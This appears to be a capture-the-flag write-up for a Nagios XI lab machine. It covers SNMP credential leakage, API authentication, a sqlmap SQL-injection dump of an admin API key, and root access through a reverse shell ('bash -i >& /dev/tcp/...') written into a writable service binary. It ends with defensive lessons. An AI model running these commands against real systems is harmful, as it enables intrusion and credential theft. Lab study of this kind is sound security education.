Recon
Standard TCP scan found SSH, HTTP, HTTPS (Nagios XI), and LDAP. But the critical discovery required a UDP scan — always run one on Nagios boxes.
$ nmap -sC -sV -oN nmap/tcp 10.129.6.20 22/tcp open ssh 80/tcp open http Apache httpd 2.4.56 → redirect to HTTPS 389/tcp open ldap 443/tcp open https Apache/2.4.56 |_http-title: Nagios XI $ nmap -sU -p 161 10.129.6.20 161/udp open snmp SNMPv1 server
SNMP on UDP 161 is open. This is the credential leak vector.
Enumeration
SNMP — Credential Leak
Running snmpwalk with the default community string public returned a large OID tree. I filtered for credential-related strings:
$ snmpwalk -v2c -c public 10.129.6.20 | grep -iE "pass|user|login|credential|auth" iso.3.6.1.2.1.25.4.2.1.5.1123 = STRING: "-c sleep 30; sudo -u svc /bin/bash -c '/opt/scripts/check_host.sh svc XjH7VCehowpR1xZB'"
The SNMP process table shows a command being run as svc with the password XjH7VCehowpR1xZB passed as an argument. This is a frequent issue with monitoring systems — health check scripts pass credentials as command-line arguments, which appear in the process list and are readable via SNMP.
Nagios XI Authentication
$ curl -sk -X POST https://10.129.6.20/nagiosxi/api/v1/authenticate \ -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" {"username":"svc","user_id":"2","auth_token":"IqbQfp3Z7mcKvb7l1ATBpIY34N0JyMCW", "valid_min":500,"valid_until":"..."}
Foothold
With the API auth token I logged into the Nagios XI web interface as svc. The account has limited privileges but can submit check results. Testing the banner_message-ajaxhelper.php endpoint for SQLi:
$ sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" \ --data="action=acknowledge_banner_message&id=3" \ --cookie="nagiosxi=..." \ --dbms=mysql -D nagiosxi -T xi_users \ --dump --batch 2>/dev/null | grep -A5 "nagiosadmin" | nagiosadmin | 2 | ... | api_key: IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2XGVe5 |
Admin API key extracted. Used it to add an SSH key for the nagios user via the Nagios XI API:
$ curl -sk "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2XGVe5" \ -d "username=nagiosadmin&password=admin&name=admin&email=a@a.com&auth_level=admin" \ -X POST # alternatively: use the admin API key to add host with command injection, or use included RCE PoC # Nagios XI authenticated RCE → shell as nagios nagios@monitored:~$ id uid=1001(nagios) gid=1001(nagios)
Privilege Escalation
nagios@monitored:~$ sudo -l User nagios may run the following commands on monitored: (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
The manage_services.sh script manages Nagios services including npcd. I checked the npcd binary permissions:
nagios@monitored:~$ ls -la /usr/local/nagios/bin/npcd -rwxrwxr-- 1 nagios nagios 677000 Nov 9 2023 /usr/local/nagios/bin/npcd
The npcd binary is writable by the nagios user. I replaced it with a reverse shell script and triggered a service restart via the sudo script:
nagios@monitored:~$ cp /usr/local/nagios/bin/npcd /tmp/npcd.bak nagios@monitored:~$ cat > /usr/local/nagios/bin/npcd << 'EOF' #!/bin/bash bash -i >& /dev/tcp/10.10.14.X/4444 0>&1 EOF nagios@monitored:~$ chmod +x /usr/local/nagios/bin/npcd nagios@monitored:~$ sudo /usr/local/nagiosxi/scripts/manage_services.sh restart npcd
connect to [10.10.14.X] from 10.129.6.20 root@monitored:~# id uid=0(root) gid=0(root) groups=0(root)
Flags
Lessons Learned
- UDP scanning reveals services that TCP-only scans miss entirely — SNMP on UDP 161 is frequently skipped and leaks more sensitive data than any TCP service on the same host.
- Never pass credentials as command-line arguments — they appear in the process table and are readable by SNMP, ps, and /proc. Use environment variables or stdin instead.
- Writable binaries in service directories controlled by sudo scripts are immediate root — check permissions on every binary that a sudo command might invoke.
- Nagios XI has a history of SQLi vulnerabilities in authenticated endpoints — the banner message helper is a known target; test it with sqlmap after getting any authenticated session.